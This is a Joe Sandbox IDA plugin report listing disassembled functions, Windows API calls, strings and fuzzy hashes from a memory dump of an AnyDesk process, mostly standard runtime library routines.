Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c7efa4801600ec62c7b9ad5e2bd70ad8509637d70d66a1bb955e6c0bbbc94a
Instruction ID: 9335006f843a207a5aed62547944f965cb7bb43f0f575ccbd7b04aa4f02fb1b7
Opcode Fuzzy Hash: 74c7efa4801600ec62c7b9ad5e2bd70ad8509637d70d66a1bb955e6c0bbbc94a
Instruction Fuzzy Hash: 28411376B00708BFE324CF78EC40B5ABBE9EB89B64F10863AE151DB681F77195119790

Uniqueness

Uniqueness Score: -1.00%

Function 69C54BE8 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,08A8C445,00000008,00000000,00000000,69C300E9,00000000,-00000018,?,00000001,00000008,08A8C445,00000001,69C300E9,00000001), ref: 69C54C35
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 69C54CBE
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 69C54CD0
__freea.LIBCMT ref: 69C54CD9

Part of subcall function 69C4C844: HeapAlloc.KERNEL32(00000000,0000010C,00000004,?,69C4C8A7,?,00000000,?,69C57B70,0000010C,00000004,?,0000010C,?,?,69C4DB9D), ref: 69C4C876

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeapStringType__freea
String ID:
API String ID: 573072132-0
Opcode ID: 8c7c9a92dea4f98afc31cb89b5c70b8ae295157fce55a7cbb2720c98c999ef30
Instruction ID: 78b923635726d52e0b6bb8dcb526e2b19964815ee4be9de98dfd83c78e009af7
Opcode Fuzzy Hash: 8c7c9a92dea4f98afc31cb89b5c70b8ae295157fce55a7cbb2720c98c999ef30
Instruction Fuzzy Hash: 4331CF72A0021AABDF15CF65EC40EAE3BA9EF81714F014128EC15DB250F735E971CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 69C32EE0 Relevance: 6.1, APIs: 4, Instructions: 78timeCOMMON

Download Yara Rule

APIs

TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?,00000001,?,?,?,?,?,?,?,69C60690), ref: 69C32F5B
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,69C60690), ref: 69C32F6F
SystemTimeToFileTime.KERNEL32(?,00000001,00000001,?,?,?,?,?,?,?,69C60690), ref: 69C32F83
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 69C32FBD

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Time$System$File$LocalSpecificUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1393065386-0
Opcode ID: 516e1b022e57b2c444f98cd44ecc32a75937b2f48d9673c4e3dd4ea6dd8d9dcc
Instruction ID: 7dd155237277ef37ea3d9bccccf77ee5c64bdc10337797513625e491baf62fd0
Opcode Fuzzy Hash: 516e1b022e57b2c444f98cd44ecc32a75937b2f48d9673c4e3dd4ea6dd8d9dcc
Instruction Fuzzy Hash: A6314A751183659BC710CF65D400B7BB7E8BF88B14F10880EF899C7290E739D94ADBA6

Uniqueness

Uniqueness Score: -1.00%

Function 69C4D7C8 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86530d78637159e232dc846ea9475dbf459d6c7b00d223846420aa2c824e9fc9
Instruction ID: a35c9ddf0d12fa442cc79dbb90cee842365eb2d54a8cc09a5ba5c24e4e6f55c8
Opcode Fuzzy Hash: 86530d78637159e232dc846ea9475dbf459d6c7b00d223846420aa2c824e9fc9
Instruction Fuzzy Hash: 6A018BB27096167FFB0029797CC0F6B226CEB92BB8B205736B520611D4FB61AC5181A2

Uniqueness

Uniqueness Score: -1.00%

Function 69C413D5 Relevance: 6.1, APIs: 4, Instructions: 53timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000), ref: 69C41409
GetCurrentThreadId.KERNEL32 ref: 69C41418
GetCurrentProcessId.KERNEL32 ref: 69C41421
QueryPerformanceCounter.KERNEL32(?), ref: 69C4142E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b8e42e237f0e12a529c3931c806558521ad95c1069547b0fd9bb83b603859704
Instruction ID: d68a8e4210aeb487b3d634b3b8b01ee2318b8fe7afb09a36b938e2633aa62926
Opcode Fuzzy Hash: b8e42e237f0e12a529c3931c806558521ad95c1069547b0fd9bb83b603859704
Instruction Fuzzy Hash: 4E119171E04118DFDF04CFB9D5446AE7BB4FF5A311F91146AE806DB240EA308601CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C4EEBB Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,69C4EE62,00000000,00000000,00000000,00000000,?,69C4F12C,00000006,FlsSetValue), ref: 69C4EEED
GetLastError.KERNEL32(?,69C4EE62,00000000,00000000,00000000,00000000,?,69C4F12C,00000006,FlsSetValue,69C6F920,69C6F928,00000000,00000364,?,69C4FCEC), ref: 69C4EEF9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,69C4EE62,00000000,00000000,00000000,00000000,?,69C4F12C,00000006,FlsSetValue,69C6F920,69C6F928,00000000), ref: 69C4EF07

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 0e625e549d788d01442d2766c64329cec93672f0eb477e4bccd957db0acd0efa
Instruction ID: 0565e291f14800a19ff0a0ae064648a49f8c0c5897ca7f0ce311f66fdb23cf37
Opcode Fuzzy Hash: 0e625e549d788d01442d2766c64329cec93672f0eb477e4bccd957db0acd0efa
Instruction Fuzzy Hash: DF018437755236ABDB118E6AAC44A76777CAF46FB17120620F915E7180E721D802C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 69C66D68 Relevance: 6.0, APIs: 4, Instructions: 48fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000028,00000000,0000001C,0000001C,00000000,0000001C,00000000,00000000,?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66D8A
GetLastError.KERNEL32(?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66D94
GetLastError.KERNEL32(?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66D9F
GetFileType.KERNEL32(00000028,?,?,69C660D0,0000001C,00000000,00000028), ref: 69C66DBB

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLast$ReadType
String ID:
API String ID: 2855922492-0
Opcode ID: 8a3e4e5decb946abb250f16b05f9e0ee62b0508e04a9f2c4280f492de7fc0e01
Instruction ID: 52143c8a1042a75504a1bdb2cf61355e02d83097dceab1f08dbcace23720f762
Opcode Fuzzy Hash: 8a3e4e5decb946abb250f16b05f9e0ee62b0508e04a9f2c4280f492de7fc0e01
Instruction Fuzzy Hash: 2A018B31604569ABEB009E6ADEC5BAA37BDFF42365F000624FD14D7160E734EC118791

Uniqueness

Uniqueness Score: -1.00%

Function 69C2D3D0 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C2D3F7

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19b66c6cea623c4ce6e82e1a1a5c1cb39f330c3bcc8957baa14ce12d8e58302c
Instruction ID: 51e46a715bef9aa086c2c147c4bcc6886b9af60cf2f36e486e41bff98c167f8b
Opcode Fuzzy Hash: 19b66c6cea623c4ce6e82e1a1a5c1cb39f330c3bcc8957baa14ce12d8e58302c
Instruction Fuzzy Hash: ACF0977EB0420402E304CBB4B711A1F32A88E347A8B20833BE417C2184FB64F59186A7

Uniqueness

Uniqueness Score: -1.00%

Function 69C325C0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 69C325E7

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9497407c361fa0e5cdba83c1c808aa0bd6f632a9449a5baa6c9db17d36afeda
Instruction ID: 5bad4d476eeeafef2da6d35e21357279413431950453ff6a640d3b4592814c2b
Opcode Fuzzy Hash: e9497407c361fa0e5cdba83c1c808aa0bd6f632a9449a5baa6c9db17d36afeda
Instruction Fuzzy Hash: B7F09E79B0461003DF04DBB07731A1E32744E20768B80C33AE416C2581F720F653C2D7

Uniqueness

Uniqueness Score: -1.00%

Function 69C30640 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C30667

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae71b4869ae569bafac289f6a09a1d21ff0609c13e63d45931af16e1a68b08f
Instruction ID: 27aa2fdb8aa64555abfa908e22baaf093d5c4d2f5ed1c2db6a4b746ace57c336
Opcode Fuzzy Hash: fae71b4869ae569bafac289f6a09a1d21ff0609c13e63d45931af16e1a68b08f
Instruction Fuzzy Hash: D7F09EBB70061042A304C7747751A1E32B84E90798B90C239EC1AC6548F720E690869B

Uniqueness

Uniqueness Score: -1.00%

Function 69C30D70 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C30D9A

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3b9674a052d906bc40769fbd11e90ff7402c1ad619f96228d6ceedf274cac0c
Instruction ID: f88e39b29eee46e567637b7731f63cfaaff03eeb5ac5794307dfa4fc15d2b904
Opcode Fuzzy Hash: a3b9674a052d906bc40769fbd11e90ff7402c1ad619f96228d6ceedf274cac0c
Instruction Fuzzy Hash: 6DF02E7F70521447F704DBB8B651F5E33E85E60B587808239E406C6519FB25F594C39B

Uniqueness

Uniqueness Score: -1.00%

Function 69C2B020 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C2B04A

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c0b58c902f026745a66fbe5b3f6f91989226b873c08466af165a5806f21b42
Instruction ID: 43eed0dddb5a697a13e7b28291eeb8ba0f895e0ed7f9ac68eb767c005285ac95
Opcode Fuzzy Hash: 15c0b58c902f026745a66fbe5b3f6f91989226b873c08466af165a5806f21b42
Instruction Fuzzy Hash: 11F09EF97001088BE315C7B6B711E2E73E88E617547808239E435C7115FB64EA54C3D7

Uniqueness

Uniqueness Score: -1.00%

Function 69C6674E Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000000FF,?,00000000), ref: 69C66761
GetLastError.KERNEL32(?,00000000), ref: 69C6677A

Strings

CloseHandle, xrefs: 69C6679A
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C66787

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID: CloseHandle$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 918212764-2138661059
Opcode ID: d05501094d766d11ff6da7917b99f296fa554c4741bd526440a9f6ad88cd29c0
Instruction ID: eafebd0f513b8af60aea1ca5d909aa119cda6dd349e151a19bbab96e59d20298
Opcode Fuzzy Hash: d05501094d766d11ff6da7917b99f296fa554c4741bd526440a9f6ad88cd29c0
Instruction Fuzzy Hash: 91F0507680071566DB24EE74FDB6F9E7718AF00374F809459ED446E1C2FB319C444191

Uniqueness

Uniqueness Score: -1.00%

Function 69C4DD5F Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 69C4DDC4: _free.LIBCMT ref: 69C4DDF9

_free.LIBCMT ref: 69C4DD7A

Part of subcall function 69C4CBA5: HeapFree.KERNEL32(00000000,00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000), ref: 69C4CBBB
Part of subcall function 69C4CBA5: GetLastError.KERNEL32(00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000,00000000), ref: 69C4CBCD

_free.LIBCMT ref: 69C4DD8D
_free.LIBCMT ref: 69C4DD9E
_free.LIBCMT ref: 69C4DDAF

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 180bb1800aa9a7ed60819d92d012c6c09726135d8fb9aa68eb3b5b4c96ef0eec
Instruction ID: 9cfd4f486788f857b3b187adbac2ae319b7cb3c64ca2e12af10321446b00b53c
Opcode Fuzzy Hash: 180bb1800aa9a7ed60819d92d012c6c09726135d8fb9aa68eb3b5b4c96ef0eec
Instruction Fuzzy Hash: 41F0127B511574EAEF019F54EC08CE93A79E766908700D946EC005B270EB3616168A97

Uniqueness

Uniqueness Score: -1.00%

Function 69C24B40 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 204COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C24BF6
std::_Xinvalid_argument.LIBCPMT ref: 69C24C00

Strings

string too long, xrefs: 69C24BF1, 69C24BFB

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long
API String ID: 909987262-2556327735
Opcode ID: a3d6868533390bae32d15b7dfeb583750d589c120dbab47fb9301c5c4c1b7b8a
Instruction ID: b36f0c6db7cefe92dd29a7aa01a39ffe8c6696e709b56e55bb8a18e5e8745872
Opcode Fuzzy Hash: a3d6868533390bae32d15b7dfeb583750d589c120dbab47fb9301c5c4c1b7b8a
Instruction Fuzzy Hash: E7512936304B509BD3218E5CF880A5AFBE9FF92760B504A2BE595CB791E371D84087A1

Uniqueness

Uniqueness Score: -1.00%

Function 69C4C99D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 69C4CA2D

Strings

pow, xrefs: 69C4CA05, 69C4CA22

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 60f45b6ea58c3d3026d90c6a6628b4778510476999a72b6e2036af90fd235882
Instruction ID: 1d38beb01d984b808b88d7f801583717dbfdb5f691d994f6b1524e7bc8623698
Opcode Fuzzy Hash: 60f45b6ea58c3d3026d90c6a6628b4778510476999a72b6e2036af90fd235882
Instruction Fuzzy Hash: 42517C71B8990196DF01E614EB1139A3BB4BB41F94F10CD68E4A2461F8FF3585B9878B

Uniqueness

Uniqueness Score: -1.00%

Function 69C262E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

string too long, xrefs: 69C2641C
invalid string position, xrefs: 69C2636F

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: invalid string position$string too long
API String ID: 0-4289949731
Opcode ID: aa861dc8e45c3631e9095f10004bf9936ed46ed37cd82a8e95221da4121e518c
Instruction ID: 634955b5fa9fcc41e23684155698ae7a9d31674e4b0d51fb4e74d918f8cfb939
Opcode Fuzzy Hash: aa861dc8e45c3631e9095f10004bf9936ed46ed37cd82a8e95221da4121e518c
Instruction Fuzzy Hash: DB41F7323006544FE3309E5CF940A4AF7E9FBA5661F204A3FE591CB691E7B1D84487B1

Uniqueness

Uniqueness Score: -1.00%

Function 69C2F170 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

string too long, xrefs: 69C2F2A2
invalid string position, xrefs: 69C2F298

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: invalid string position$string too long
API String ID: 0-4289949731
Opcode ID: 7588144b52196081f60e0df2fb1ade7ed4754ea18bec16bb943e69995a9fec32
Instruction ID: a3053c75764bfa4b4f42fd949d6bb87ffb8f94496ed226805ef1c54c55573141
Opcode Fuzzy Hash: 7588144b52196081f60e0df2fb1ade7ed4754ea18bec16bb943e69995a9fec32
Instruction Fuzzy Hash: 1541B135B0021D9FC720CE9DFC90D5AB7AAFF867407904A2EE540CB655EB30E8559BA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C5FCD5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

GoogleChromeDaysSinceLastRun.GCAPI ref: 69C5FDBB

Strings

Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}, xrefs: 69C5FDDE
RelaunchAllowedAfter, xrefs: 69C5FDF8

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
